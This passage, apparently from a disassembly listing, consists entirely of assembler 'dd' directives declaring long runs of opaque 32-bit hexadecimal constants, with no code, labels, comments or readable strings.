		dd 88AAE2B7h, 8A15AEE9h, 81A9A5A7h, 0DB8C03F0h,	0EDE06CE0h
		dd 0EEDD010h, 0A17D6087h, 4F7FA0D4h, 398B3707h,	0A0C6F69Ch
		dd 133D0460h, 7961A089h, 0E6CD0C22h, 0EEB4B183h, 547A36Fh
		dd 169D01BCh, 5DD94855h, 431E46FBh, 312B6FAh, 8B1C1305h
		dd 0EF8DE97Fh, 3F25F0A1h, 27F162F2h, 9FA81A38h,	0C9C86068h
		dd 9BBCF621h, 3232DBF3h, 781BBB1Bh, 0D212C5FBh,	852B7F2Ch
		dd 6E79DC61h, 49E7672Ch, 83D1A453h, 8BD8B7CAh, 0B79C0628h
		dd 19E2D5C6h, 0BA8D9046h, 7340DF84h, 0F78084DCh, 9D1F546Dh
		dd 31EA9A5Ch, 5D145901h, 0EB0A3506h, 58C607B3h,	0CB03AE94h
		dd 3A4D472Ah, 0B9C6E887h, 0F238CACh, 66209DEAh,	0BC6C5009h
		dd 8C92CDDh, 6FDAA21Fh,	0B5B47810h, 250BE0DAh, 8B0AC23Bh
		dd 6BE382DFh, 0B7E0B8CEh, 8D1753CCh, 9E379E9Ch,	3098912Fh
		dd 0E6369D64h, 5BC7F264h, 0F5F92368h, 0D6AF83F6h, 32655F76h
		dd 782850E6h, 6643DAA9h, 7708883Fh, 223104ADh, 0EA99861h
		dd 0ED50C820h, 0A90FB908h, 72F1D6Bh, 0E1F86AACh, 5A4149F7h
		dd 0C3D8FD24h, 75398371h, 32B68A8Ch, 0E84C9B40h, 0F086833Bh
		dd 0CDC9B4B4h, 6BB71083h, 0F2C51974h, 74C765B0h, 398B38A7h
		dd 55898C13h, 73B5C7DCh, 193E5C36h, 0D9ACB272h,	0B80A929Bh
		dd 0DF1D7388h, 221DF610h, 0D3C7F38Ah, 0CDBE7B5Ah, 0DE2B3D47h
		dd 11B415D4h, 0D5D5BFBh, 0C2F4EB7Eh, 877F4384h,	7F6603CAh
		dd 0D19C793Eh, 372C5245h, 0D25DD1F0h, 632AE243h, 4BE3DF21h
		dd 0C4CBA59Dh, 39BCF7A0h, 95B4CC9Dh, 0EB3C0302h, 651F7B6Ah
		dd 906B20D5h, 0D4384B4Dh, 0C06B44FBh, 0FBF6301Ah, 4A0A36E7h
		dd 0D8C20E7h, 2E5D4A79h, 30790E42h, 3C4D7D5Eh, 691F1C4Bh
		dd 0A4E5A9EFh, 0A5332E62h, 0E4C522EBh, 325D65B4h, 20967D14h
		dd 0AA903B5Eh, 98E2B00Ah
		dd 6FD90BD3h, 76FB5478h, 6B4557Dh, 4DEEB8D6h, 0AE701B65h
		dd 0A7A89F4h, 476705F1h, 72F9BF3Ch, 0DC1F91E7h,	0A59DF272h
		dd 395CF0ABh, 91CE2786h, 0A11B9467h, 6B84284Ch,	2B2A386Eh
		dd 5C9BAEECh, 616F75EAh, 0AF0984BCh, 412084EEh,	4DB27A23h
		dd 906C2F93h, 32585FCCh, 0ED3D7A3Eh, 4B983499h,	9CE47212h
		dd 481C18FFh, 1E926EA5h, 8F3A1ADCh, 95E38297h, 0AF42EAF0h
		dd 5D5D6D1Fh, 0DBAB71F4h, 5A709C5Eh, 3E5E65CFh,	14891CD1h
		dd 0CD2AFE49h, 6AC83DFDh, 9C0DA44Dh, 3AB38513h,	4FF0E55Ch
		dd 1E304321h, 0A3EB15FFh, 3D809457h, 0BB6A8D35h, 0D43E2BFDh
		dd 0F6B1BDBh, 255D0133h, 0B3FEED36h, 546573C2h,	5FD76DA5h
		dd 1D444087h, 237234BCh, 6F31CDDAh, 0B7FEDD7Fh,	0F2C6C1E6h
		dd 53E9164Ch, 724E9CE7h, 0F654ED96h, 0CD44A22Bh, 9CF132Eh
		dd 9026E19h, 0D48DB23Ah, 973946B5h, 0B50A2CBEh,	2AFC4A68h
		dd 90FCA117h, 73684259h, 31DDBFDDh, 2D8BA754h, 7B3B7554h
		dd 0DD28B905h, 0E8E507DBh, 0EA9F9648h, 89F0FC32h, 0C01C3D39h
		dd 0EAADCD99h, 0A3A11D0Eh, 0DD94CEFCh, 7B62C60Fh, 4500A55Ah
		dd 3A219A09h, 564FE824h, 11EBDE1Eh, 102E1ABEh, 96E980A2h
		dd 1BA51E19h, 8CD109F6h, 0B843C5E9h, 1CF4B1C1h,	0A52855BEh
		dd 24242C30h, 0BD0E0DDh, 19579D94h, 245934BCh, 741C55h
		dd 0DAC16123h, 2F10D4C5h, 25884757h, 9E87B7D1h,	854F0A6Eh
		dd 0DF27E1DBh, 0E360952h, 0F1150E42h, 8D534880h, 0F5B69D7h
		dd 0C55CACCFh, 0D25EB6FCh, 0ED8D10E1h, 1E32F59h, 0B2C210EAh
		dd 0D8C76579h, 2F50B92Bh, 0AC15C0Ah, 2EF2CFEFh,	68885886h
		dd 33E3B2D9h, 0FC6E8AF4h, 1A4E72E4h, 3B651C1Eh,	0FDF1B283h
		dd 38FB07E6h, 8063B3BDh, 0AA998610h, 68AEF6BCh,	0EE44E0B2h
		dd 0DAA635A4h, 0AB10F040h, 0FD7EEF3h, 0F8FB5D28h, 44B95635h
		dd 499B9FF8h, 101E3115h, 1298CD27h, 5A6F9D0Dh, 4DC3FD5Dh
		dd 0A252C033h, 5288D0DCh, 2DD4AD59h, 8F58EA6Bh,	79B7AD08h
		dd 0C1727CE0h, 3AAB4E67h, 0F252AAB3h, 5840F4BBh, 96D2637Bh
		dd 5A2EC4D6h, 0ED3C91C9h, 3856CC31h, 927EAD08h,	16F3C044h
		dd 0F409EB43h, 0DD2B55B1h, 0D3EE851Ah, 0CEE89008h, 9978347Dh
		dd 0E54CFF05h, 45A180CCh, 1FF66810h, 0C121883Fh, 5B5A4214h
		dd 7F12C40Ch, 75B747A3h, 4F394877h, 50B602DCh, 0A2917B97h
		dd 967A3793h, 8AC6E788h, 2FE91520h, 638F1592h, 5FAAB485h
		dd 0FA65BF15h, 0AF343FC1h, 375DE716h, 71C54D49h, 0DA07CDB4h
		dd 124AECEh, 133B48B4h,	1055FF24h, 346AA8A0h, 1E5DC066h
		dd 0A250D66Ch, 2BC2CB02h, 0DBE23335h, 4CEBF2CDh, 4509140Dh
		dd 30641272h, 0EF5D1505h, 867E4415h, 0E7F5AEE9h, 0F5B1563Fh
		dd 0CAC16683h, 73A98A91h, 0DF7A13DDh, 548BB479h, 5A36EC26h
		dd 0B052C263h, 2E662109h, 98354D22h, 3395DB50h,	0A37E85BFh
		dd 0E50A4864h, 9FC5C70Bh, 5ADC2EBAh, 77CFFC29h,	79CBE713h
		dd 9CBE8E2Eh, 69429D75h, 9B0F318Fh, 0F6970F6Fh,	7EECCB7h
		dd 3D57000Ah, 36BAF7D1h, 8F183652h, 9934A205h, 553989B8h
		dd 65ED6AD5h, 3ED4CDAh,	8CFBC491h, 0B591A00Ch, 455E9EADh
		dd 64EB2C7h, 342377Ch, 3AD637ECh, 856B1CC1h, 0FD71157Dh
		dd 0EC675291h, 923C67FDh, 0D9A67579h, 0CE678724h, 9F2AD25Fh
		dd 0C7584F37h, 2D226102h, 20D286B2h, 0AF89D3AFh, 0ACBC16DEh
		dd 9FDA0404h, 9A39DD67h, 0C5A9BC69h, 0C66827B2h, 73EA76D1h
		dd 8F2B82Ah, 9BD1E325h,	0AAD0985Dh, 0D191FBC3h,	0C381BB8Dh
		dd 82498F4Ch, 28508003h, 0CBCD575Eh, 0FB7E57C5h, 2AB01599h
		dd 357E74BEh, 7522943Fh, 0F1C18490h, 0BDB41532h, 1BBEA3D7h
		dd 2B88ABEAh, 0EC04E9DDh, 13CC5D5Eh, 0C7FBFB5Fh, 816D9C97h
		dd 0EABDF5BFh, 32D607ECh, 0DFBEB8B5h, 3EFF6302h, 528410EEh
		dd 24C2FC8Ah, 98E164FBh, 31B507Eh, 14F90593h, 54172568h
		dd 6109472Eh, 0B5376725h, 0FD39D1ACh, 24A57EAEh, 5C773E9Ch
		dd 0DAECDB21h, 13462D3Bh, 3D52ABB9h, 26754EF9h,	53D578BBh
		dd 37DF1F2h, 0E1D221E2h, 801D501Ch, 0D2D091AFh,	23AAF041h
		dd 6C9467A5h, 0BC264C14h, 62167F4Dh, 0A5BFA7FAh, 3EC855DCh
		dd 175F0E11h, 0BE8D30F2h, 0B4013A78h, 0E62D81A6h, 0FD317062h
		dd 0A31871EBh, 90C95D67h, 0B376CB07h, 507ACCF0h, 0BE471628h
		dd 9EE23ED8h, 72FE48E4h, 0F22AE627h, 1EB03F25h,	0A4DC058Bh
		dd 4CCA9BCBh, 0CE23145Ch, 84765DF5h, 8AF341F7h,	0E6367905h
		dd 0C859D96Ah, 22015F6h, 94E8B518h, 0F2ADAC87h,	0E75D4057h
		dd 9D887D6Eh, 9F0AF6B9h, 0A1FF8D22h, 0F2199516h, 0A5BFA3CAh
		dd 6FD7CC76h, 362B71BFh, 34A16B87h, 6780D3F0h, 6382F33h
		dd 0A1533FCCh, 4A5C4488h, 0A2049BF8h, 2E1F81C6h, 0D2301CC7h
		dd 35873AD3h, 58049EFBh, 447F17E2h, 232E6533h, 0E11C2776h
		dd 0D24FFD51h, 0F88BE9F2h, 30056308h, 0AF9F43AEh, 3785886Dh
		dd 0DBC32303h, 55935BB8h, 447086BAh, 0A7F88273h, 7AB40F79h
		dd 0D26A5320h, 85DFD3A6h, 0E75F0FB7h, 6849C118h, 61924690h
		dd 5C63535Ch, 2F519F05h, 0AFC81082h, 77B023A6h,	1A5C9DB3h
		dd 0B499FD65h, 79075D53h, 0ADD14F5h, 1EED0D1Bh,	51574DD7h
		dd 1080B2E1h, 0C2226BAh, 7F3753C7h, 4540BC5Bh, 0F9299BF7h
		dd 5DFEDE9Dh, 94487B11h, 0DB7B5AAFh, 0B2FD9202h, 0C0DFDC8h
		dd 0F5E8DC00h, 0AC41EF2Dh, 8B61A7Ch, 1E6BC58h, 303A6F27h
		dd 0C139003Ch, 1A9F8A62h, 3AFA95AFh, 5AFCCF3Fh,	3D9515C2h
		dd 299DD658h, 9833B525h, 0D8D48D68h, 964FE3E0h,	0EA32BD5Ah
		dd 78C0C212h, 4F5B291Bh, 52218D82h, 72FF4DCCh, 0B45C8072h
		dd 998D639Dh, 0E39D502Eh, 2C78B06Dh, 0FE8AD23h,	10A8F16Dh
		dd 4EC0DED6h, 9CF68B7Fh, 7FA3680Bh, 5D04257Bh, 0E0B6F459h
		dd 31464EFEh, 519684BCh, 1FABED01h, 600523C8h, 149BB501h
		dd 0A5F163BAh, 0F9115FCFh, 24C3AAEh, 0A7A5372Dh, 9B7A32AAh
		dd 35A94ED9h, 707480Ch,	0E44FE8BBh, 0ACAC6EE6h,	75848B8h
		dd 52628E5Bh, 0F763C787h, 925C385Fh, 0B95407DDh, 992A490Bh
		dd 0C3E9FDBDh, 0C9B343BAh, 0F268D1F7h, 1BBD436Fh, 6E30046Fh
		dd 0EB1F43E8h, 63B8D90Ah, 0FDDE9314h, 2A14848h,	0BB1AC387h
		dd 0B3B7B17Ch, 7F48C24Dh, 0ACA47741h, 7E60D05h,	0D865C1B4h
		dd 9CA4DA39h, 0CA1B2D4h, 850F23D7h, 0B395EB11h,	25E46498h
		dd 8BD72E00h, 9746E464h, 963BDF20h, 479B2A7Dh, 9AB42692h
		dd 81044F54h, 78CD69Bh,	48DC2491h, 0C5AA0F7Eh, 0EB11155Dh
		dd 0FBFF6904h, 0DC106A3Eh, 7C55C4D3h, 83C8DB2Ah, 0D6886753h
		dd 0A50717E3h, 0EDB75CFh, 3DC29084h, 0A3E2AC63h, 1CEF089Fh
		dd 1171E482h, 0B508ADE2h, 4AF7B25h, 4E788288h, 0F999572Ah
		dd 7B8BD651h, 0B6EFFCFEh, 16FB25E4h, 860FC377h,	2AFD0DBEh
		dd 20695B33h, 1CB91670h, 59634444h, 0E612162h, 0C15AC725h
		dd 26CB6A7Ch, 80840A50h, 0BB112115h, 88012487h,	21C8C55Bh
		dd 4119912Ch, 0B7AA0364h, 0CBB84494h, 378A0848h, 0EB2C5A52h
		dd 0C2E51A4Ch, 0F0A408E0h, 0CAB38CE6h, 6195FA0Ah, 881C7CEBh
		dd 1541D1E6h, 0EB5159F3h, 0AE66636Ah, 59CF4BDDh, 365FFEA8h
		dd 0EC7FE7ACh, 0AC31ED33h, 61F109E3h, 0EB565728h, 634353CCh
		dd 1E52F69Eh, 9370FDB1h, 0E9C4B44Eh, 0A2389C54h, 427D481h
		dd 0F58ED0AAh, 0EFF2BD5Eh, 607E89DFh, 0ABA332ACh, 0A2DA8D4h
		dd 23240821h, 41AC7C98h
		dd 94E17C07h, 17D2BE68h, 1B8D8972h, 1E0E112Dh, 0DDC2057Eh
		dd 0ED80CDD6h, 0DF4DA868h, 0A28406B7h, 9E222702h, 2384E251h
		dd 79D7A6F5h, 48E44C34h, 6CBECB66h, 7A86FD9Dh, 0D7FC21B6h
		dd 40055E59h, 3C309739h, 32B03C2Bh, 22E6257Eh, 8981F81Ah
		dd 0D1240252h, 6CC5D5CCh, 0D3649223h, 73047CFBh, 0C6CB351Ch
		dd 39C1C522h, 98D43B54h, 0A55A20E2h, 964BBD0Fh,	48798DD7h
		dd 9EBA5C83h, 0B205939h, 0EA7E6C3Eh, 1057C7E6h,	0AC938E99h
		dd 25CC0899h, 0B9FDEC2Fh, 0E1A0926Dh, 0E5206F0Fh, 0EE75C72Bh
		dd 6C432C2Ah, 0C98E7470h, 0A0BF4EE4h, 97BF0CD6h, 0ABD4AD5Bh
		dd 7464EB8h, 1AAD13FCh,	0A826683Dh, 0F7FED207h,	0B7306895h
		dd 269C4B01h, 896F580Ah, 0A9A112F4h, 0C65F6226h, 67C42FECh
		dd 58E938C3h, 369A89B7h, 0F49362FAh, 0C2DC3856h, 0B9731DB9h
		dd 5492519Dh, 0B68D1193h, 3A343BA8h, 0B9D1921Eh, 0B7D2690h
		dd 7BAFAEE8h, 5FE2795Bh, 9953DBA9h, 12D9F527h, 0BF2BCA60h
		dd 0C9A894CFh, 24DA8106h, 65C31A7Dh, 0E0768BEEh, 17174A3Dh
		dd 0C4C11B47h, 67043797h, 13C14CD3h, 0CE399B97h, 0A18EB994h
		dd 0AD98F6B0h, 0B1BB3531h, 23DC1276h, 5778EA7Fh, 8B6CAD4Ah
		dd 0AC0558E7h, 1F5CADF3h, 0F1251133h, 7FB015FAh, 0C54C8376h
		dd 37016B90h, 0FDAEDEA1h, 1C25140Ah, 5ECB5335h,	2E02A842h
		dd 0BF5ACB61h, 3F09749h, 7E10ED9Eh, 0BAE5E4CBh,	0C1CC463Bh
		dd 0C23FC0B4h, 57DED441h, 85724393h, 930E10F4h,	0B33A7478h
		dd 0B2957F9Ah, 68162D0Eh, 0F521D6EAh, 63C43BDh,	5572A457h
		dd 0AB6BE809h, 211C1CABh, 0AE38F6DEh, 55EC49E8h, 0F16E50E7h
		dd 6A504E81h, 68984C6Ah, 0ABBEC815h, 60C53690h,	0C202D524h
		dd 0A089FE1Ah, 7AD0B942h, 9D1C02ABh, 2D2AEB83h,	84A69B55h
		dd 0B68B7359h, 2FF24C49h, 8D46A98Fh, 4BECD17h, 58B99569h
		dd 23E37E74h, 0A6A4D1F4h, 4C60FFE5h, 70107713h,	20F64B7h
		dd 8809FD93h, 93EA3B8Bh, 460DDE57h, 39995645h, 0BAA292CEh
		dd 53C42DCBh, 0DDA0CA4Bh, 8A4C6A30h, 1ACAC122h,	0BB3F1C8Ch
		dd 0BFBBB4C7h, 41C32031h, 0C9036350h, 0CDA432D7h, 0F7C36E42h
		dd 1B4BFEFEh, 45129138h, 0E4BA4477h, 33CF55A6h,	94F31ADBh
		dd 0BDF51C7Ch, 11852130h, 0BAAE0352h, 0C54BB347h, 1122F4F5h
		dd 6518C22h, 0CF49F049h, 39CCA3DEh, 0DE4D7E30h,	0C0C3629Bh
		dd 7ED0F4CEh, 106EA613h, 0A1863854h, 0DEBB35DBh, 8ED9A961h
		dd 6CED750Fh, 3653C55Ah, 0DC7CC9E3h, 3880A1ABh,	927CB9E7h
		dd 0A5EEBEFh, 412BE410h, 87A82C3h, 8B55F3CFh, 6C9A5A46h
		dd 8E86FD01h, 53492D2Ah, 0B9600626h, 0B969AAE2h, 0E11160ECh
		dd 11F8862Ah, 9A7AB7A7h, 284DE545h, 53CBAC37h, 0BF96F04Ah
		dd 7BA64B89h, 672ABE4Fh, 43F92251h, 0B0223AE4h,	0D18634D2h
		dd 0B9F2ED74h, 0CBF03C80h, 0D40CD96Ah, 77DF912Dh, 0F9962469h
		dd 3A2526BAh, 0D2C3CF3Fh, 74727B78h, 0F5E9FFD6h, 0E6E2EF37h
		dd 856C3337h, 0DA4CC8B2h, 4633083Bh, 84D151DBh,	0D1B11462h
		dd 0F8DA2162h, 0B8CFEE34h, 1A649272h, 0A94FE473h, 4F97996Eh
		dd 89391F97h, 78421703h, 0FEEF76BFh, 7597EA81h,	0A503C8A1h
		dd 0E89E5CFBh, 0E5D07523h, 0A9393D3Bh, 324E4DCAh, 9F4E817Fh
		dd 0D9EF5AA7h, 548DCA1Ch, 0A0D7AA69h, 1EDAFBB1h, 0FF1638FFh
		dd 0FFB76E73h, 0F7A7E2B4h, 4146FEDh, 242D5665h,	4FE56B36h
		dd 580E3905h, 84CA9E3Dh, 8B16A59Fh, 7B3D366Dh, 2E458E2Eh
		dd 8FE076D5h, 0B26240Ah, 0B366E562h, 0EDAC802Dh, 0A766F54Fh
		dd 0FE841DEFh, 0B7D072E0h, 18785694h, 395B77CFh, 5E902F4Bh
		dd 0E628EFB7h, 0D127BF5h, 1D606A34h, 0E75181E7h, 1B31EC6Bh
		dd 703E4AECh, 0F2489002h, 3CE5DD17h, 69F4E25Eh,	9E553F0Fh
		dd 2DD696C8h, 34354DDCh, 0D4C7FA63h, 29F1A2C5h,	0A823FDDh
		dd 0FB7FC62Ch, 27B2388Fh, 9850ED25h, 0C3DE465Fh, 0BB4FA558h
		dd 20B45039h, 0DE8F8718h, 94492832h, 0C00015Eh,	780413B6h
		dd 58A28C95h, 90814565h, 0F5985AE7h, 0BEE8EF04h, 0EBED445Eh
		dd 39D81919h, 331E4EF2h, 39CD5341h, 7C5C6B9Eh, 2CBF5B0Ch
		dd 74991A12h, 9BA09141h, 325C7BC3h, 94EC58FFh, 2E25491Dh
		dd 5EE3D85Dh, 77796FF9h, 0F502E923h, 0DEE2D50Dh, 8913C4ACh
		dd 723A879Ch, 0CB5A86AAh, 3FFC558Ah, 0F0A9A7Ah,	0F3C0E6Fh
		dd 1894D73Ch, 6231C00Ch, 66B0466Ah, 9FD12AD7h, 0F029C584h
		dd 16FFDF8Ah, 711BCC4Ch, 26F776C9h, 97F0E89Dh, 135E7372h
		dd 0BB06B682h, 0B4F018D1h, 83032620h, 75F4E69Ah, 0AB98EFAFh
		dd 276A2FB1h, 74DED5Ah,	0F79FBF98h, 7A40C085h, 320E5E84h
		dd 4946CDBAh, 0CFC3931Eh, 0AF38054Ah, 0A684083Dh, 0FD1446B2h
		dd 0BF52C694h, 0E7E2082Eh, 0D3F1B34Fh, 618DFE32h, 55DEE301h
		dd 8D46CCDBh, 4E211197h, 69E93297h, 0FF1EEB09h,	3C4822ECh
		dd 584887C7h, 0FDBFA1BEh, 0BEE80788h, 324E0ABBh, 8DD41C70h
		dd 6ABD9022h, 0FC1CFAAAh, 0BABA90C2h, 7F332122h, 6A12D2AEh
		dd 25C4642h, 0F72ECE6Eh, 35029DFCh, 990E2D4Dh, 76F88F7Fh
		dd 0FAD14A60h, 0F6D4307Dh, 75507708h, 0AB036780h, 0D5FCC15h
		dd 1DAE4E8Bh, 1F25C219h, 0E0A1C873h, 0D62F97EAh, 351057F6h
		dd 4621F2EDh, 0ED8F90Ah, 1C8F88B7h, 0E69E1973h,	390899C6h
		dd 7F7D287Eh, 858C02ABh, 0EA192F20h, 598A257Dh,	14B490D9h
		dd 48672C3Eh, 0AFB8473Fh, 1C5AAF50h, 394E74F1h,	0B41B8A6h
		dd 3CBC09Eh, 0CA36840Bh, 7FC67D3Ah, 813E1CBCh, 60D01CFAh
		dd 0C5C49634h, 0D8A393C0h, 0C9CFA53Ah, 17E4CCDEh, 4891B0ADh
		dd 3391742Dh, 6A02ED5Bh, 0BE29786Eh, 0CF255AA1h, 97F9CD8Eh
		dd 51E64142h, 272FAEACh, 0A6BCF8EAh, 0E41FF26Fh, 9F56CA53h
		dd 25E6FEB6h, 952FD1C0h, 11627560h, 779DA897h, 87E19E64h
		dd 0CD46A45Bh, 1A2F7937h, 3B828F96h, 5D98DA6Bh,	6CC88AC0h
		dd 0BEE947F9h, 81CA1FEFh, 7451B87Ah, 762BB1D1h,	0FDC30E9Eh
		dd 26255834h, 70504E2Ch, 40611279h, 569C328Bh, 5B62EBE2h
		dd 0AAC8AE2Bh, 6B88C80Ch, 7209CCC5h, 99CC81F3h,	20D229BBh
		dd 1AB3DD61h, 0A51A34DCh, 0F3FC0643h, 4B011C6Eh, 764CC2D9h
		dd 87E468D7h, 830F42CDh, 616C7A1h, 0DA3CFF98h, 5A9C377Dh
		dd 3753B0Fh, 1ADAB60Ah,	0A80A015Bh, 4F5E0ADAh, 0D13D6DFCh
		dd 1069A04Ch, 37619AF6h, 260EA34Ch, 4054E40Eh, 0E1BF23EDh
		dd 0C395F0DBh, 0BBD68E10h, 0E081A681h, 116E92B7h, 38F7625Eh
		dd 0FD873F1Eh, 3A992637h, 36C85130h, 26AA0B64h,	631CC8F8h
		dd 0CC858B6h, 5CAA883h,	63CC7001h, 92C9FB63h, 0DCBE98F2h
		dd 0A1B04768h, 0B63F71h, 6C39CE03h, 9F67462Eh, 0E3071A3h
		dd 0A6A6EEA3h, 3232149h, 2FE8F32h, 0F1499E49h, 0EC0C5225h
		dd 0C6BBA460h, 0F23C2305h, 0C3B94F1Ch, 0B1D0F618h, 5DED77D1h
		dd 0B39B937Eh, 9BDBAC26h, 3539484Ch, 0C5B57AD4h, 0E81D49F6h
		dd 0CA1E16DDh, 191922B0h, 3F99DDE9h, 8E1DAD2Ah,	973C252Fh
		dd 5BD879ADh, 0AEA5CD77h, 8EB9B83Eh, 0EDCFDC5Dh, 1DCF185Eh
		dd 6E34F811h, 0CACF3CAEh, 85D8AEBh, 0DE5F0F6Eh,	820D03F5h
		dd 2F156115h, 0C8AF8008h, 0C81D9C3h, 49B84F5Ch,	0DF1B798Ch
		dd 5335076Bh, 0BFB6D747h, 0C18878ABh, 60B927D1h, 0A73F0571h
		dd 31B3463h, 0B67843CEh, 0A1C13E96h, 75E48D3Fh,	0FA8D8C35h
		dd 0FCA1958Fh, 6D1E373h, 0E3557D12h, 4BAA75F5h,	0F479C96Bh
		dd 6C53855h, 4C22C40Eh
		dd 0F9EBDE4Fh, 9C874D20h, 98C0306Fh, 3D2BBE7Bh,	0CDF060FDh
		dd 0AE351F45h, 0D8616099h, 1299C5E6h, 4B70B7D4h, 37A4B7Dh
		dd 0CCD16F58h, 6254BC50h, 0ED9E3B5Ah, 544B8136h, 279B7992h
		dd 0AF1B36E8h, 66B201A3h, 77017E61h, 7DEAD966h,	0F0B7575h
		dd 0C14488B1h, 0AED2959Dh, 589C5AE8h, 4CE8C482h, 3EEF99FCh
		dd 0B7FEAC9Eh, 51CDB063h, 0B0D0C0BBh, 0D1FC0C68h, 4D1D6382h
		dd 55B482E3h, 0AD7CDFC0h, 0A5A48053h, 4068B528h, 0BA1A864h
		dd 0BFA06EA4h, 5D74A1Eh, 0B99DA018h, 0C9FFBAB4h, 3B7DD890h
		dd 8BD88192h, 0A123304Bh, 0A9B1CEEFh, 78F5EC08h, 0A309FB66h
		dd 0A113DDC3h, 0C34DCE7Eh, 507A33F3h, 0F45E5923h, 9CA2A39Ah
		dd 0EDBBEB1Dh, 48CE5ED1h, 86816F47h, 9722A65Bh,	289F3FC6h
		dd 0B61E6C6h, 59539DDEh, 0CF843E19h, 97573FC0h,	0F50A4FCFh
		dd 26084DF9h, 14E8808Dh, 17CDC867h, 0D5B78420h,	0D7613F89h
		dd 0C7ECB9Fh, 3606ABF4h, 4128980Eh, 6A8467B2h, 5C662BF5h
		dd 0F2C1A08Ah, 0AF7B802Ah, 0CE8924F4h, 0BA4B666h, 1461F3D1h
		dd 0D66C5F2Dh, 0A60E462Dh, 0B964596Ch, 93638D28h, 0F025A0D3h
		dd 0FF5B9F41h, 0B6EAFE59h, 454B8A71h, 0E138FBCCh, 0C86E61E0h
		dd 0F7246956h, 0D7B03944h, 221EE109h, 3A0A4D61h, 0B081BE5Eh
		dd 7DDCB55Bh, 617CDFA0h, 671B74A2h, 52C83624h, 79A4F21Bh
		dd 5F188646h, 79620F12h, 0D64680A4h, 3738ADA3h,	0C79DDCB9h
		dd 0FA7D21Eh, 836E04A1h, 0D3153365h, 65D45F7Bh,	530D22A5h
		dd 7D4B1A6h, 0CB024EBFh, 0F0E7336Eh, 5ADF5ECDh,	0D08821C0h
		dd 0F27A8E99h, 46DF9B7Ah, 20F772F4h, 96DB98CFh,	0AF108C8Eh
		dd 6FAE43ECh, 22283B07h, 39C80604h, 0F758D957h,	0F3D4F5B3h
		dd 0EEB3120Ah, 0F8AB6AE3h, 4657ADDDh, 684E02Eh,	2C03E847h
		dd 26D648AAh, 6A8A3713h, 0BA308616h, 0DA20574Bh, 993E043Eh
		dd 0CBB0E626h, 41BC9A0Ch, 72E8B42Fh, 9FFD15Ch, 9620DAC8h
		dd 0AFE3A838h, 1EE2A5FCh, 0A143BA59h, 0A21B8F0Ch, 0E4EC4B89h
		dd 1A70BFBCh, 67060C14h, 0F341C9E2h, 5EEF448Dh,	0A38A0918h
		dd 45D56180h, 248B12D2h, 4816131Eh, 0BCC52E8Ch,	0B59A4953h
		dd 0D05EBE77h, 48CC693h, 231B1F5Eh, 51786E79h, 22A61370h
		dd 21FBC085h, 0D4A7DCDBh, 41A1BEEFh, 9A6BE7A8h,	7DEA33C6h
		dd 77C4AC44h, 5E75F94h,	0D3791593h, 0F061BE6h, 0CCB4EC02h
		dd 609F334Ch, 3EC8DE11h, 763327FFh, 0C9416FD5h,	0D0332F1Ch
		dd 0C6721571h, 0A434A15h, 65F6E0C3h, 0B6DB84E3h, 989183ADh
		dd 32764441h, 29DA8363h, 897672F1h, 0E813148Fh,	6A949515h
		dd 7CFED957h, 0AD915BAFh, 2E59CD07h, 7A4579EBh,	84F7F275h
		dd 3532E32h, 4E1231B4h,	6C70B120h, 0DF1967A4h, 6B1B8DBBh
		dd 6B2EB1D9h, 8D2A593Eh, 8F6FA1C6h, 9A2CE1ACh, 3872721Fh
		dd 97E8AD14h, 50039A02h, 0D16A767Ch, 54FF2F89h,	99E32D1Fh
		dd 0F1F34553h, 7ED45931h, 1F364DE8h, 0EB5352E9h, 2A79E776h
		dd 4B0EF5Ah, 8DF584E7h,	7763DF03h, 0CE32A806h, 0BE828F00h
		dd 5B7BE677h, 0C5462482h, 35824CD7h, 0A0C23B9Ch, 96D94202h
		dd 788B6CF4h, 3F459F07h, 0EA57B25Dh, 74A591F1h,	4CCB48ADh
		dd 69B3A7FBh, 88A98943h, 47A93F35h, 0AD125A22h,	9A38DADAh
		dd 11612D90h, 0C4EE1E1Ah, 0D108F318h, 0AFCC249Ah, 70716DD5h
		dd 82C789CFh, 0EB9640DEh, 6DA63E53h, 0D7EA7501h, 2B5FD0AFh
		dd 65860B5Dh, 0CD7A15BDh, 0B1BB416Fh, 8B5D9651h, 0AFC16DD7h
		dd 0CECCD76h, 53170657h, 0DB45E587h, 232FE8D3h,	77B9843Eh
		dd 0E7FCB628h, 9140E872h, 0A5C5F91Dh, 0B89FF9E7h, 177ACC8Ch
		dd 0FE9430D6h, 3B9EEAC1h, 6D59FE99h, 871C437Eh,	694A0BEEh
		dd 0D138EC02h, 0B3C1F397h, 1D06824Fh, 67EA71B4h, 56168F07h
		dd 0F02BC484h, 83AC74D4h, 920410B2h, 57D016F1h,	41460F98h
		dd 0C451412Fh, 3C0C14A3h, 4352A8F8h, 7094ABC4h,	5828B69Ah
		dd 3519B7Bh, 0DC93461Ch, 0F52032F1h, 5D328190h,	0F450CECEh
		dd 1CB5CE0Bh, 28C103DCh, 18606990h, 271C511Fh, 0C9A042E6h
		dd 4E0553ABh, 9C85EEAh,	0EAE2EB37h, 0B51EA76Ah,	0FE33DF5Bh
		dd 67213B4h, 981954CAh,	0B78B73B2h, 0C6696918h,	0D4E1C0D4h
		dd 7E82021Fh, 6DCB9EF7h, 0D734F008h, 0E74DEAB9h, 2DDAA5CEh
		dd 24E2B339h, 0C4A1B996h, 12DFE01Ch, 0AE78A0ECh, 0E98410DAh
		dd 0BE29A065h, 0EEB11A9Fh, 0E6077C51h, 4900044h, 8CCDBD6Fh
		dd 0B4F82F54h, 173985C5h, 5E03282Bh, 8C62F58Bh,	0BA57F88Ah
		dd 3313D623h, 5643DD00h, 665DEB54h, 16F2E8B8h, 9A3D1F0Fh
		dd 0CB45837h, 0D97764E7h, 963B1DFAh, 744D7B34h,	7F590F72h
		dd 5FE78C8Eh, 0CFB0C075h, 0F0B42EE9h, 42276BEAh, 4C573A75h
		dd 6646AC92h, 5D969DB1h, 8ECF1A6Dh, 3BF4BAC9h, 0DA8FC1FBh
		dd 0E0D97D4Ah, 8EBF2451h, 5BC36EAEh, 5397D5DCh,	0E556047h
		dd 0EF47820Eh, 0A95416E9h, 0F49AD3E3h, 9D76F7C6h, 87683014h
		dd 866CD3B2h, 0E7FC5305h, 0B06B3663h, 357266C6h, 0B2D763A5h
		dd 94D6C9C4h, 24819AE5h, 6471B9Ch, 0B2B2CFA2h, 0FB916DA3h
		dd 7EB9ECDEh, 5409FDE2h, 6F93C265h, 5694D2BAh, 0FF4A6D64h
		dd 3E380E97h, 830B83A2h, 796C422Eh, 26C62E65h, 37B8779Bh
		dd 6385A3BBh, 220B99EBh, 7431201h, 7AD54765h, 0D1FE876Ah
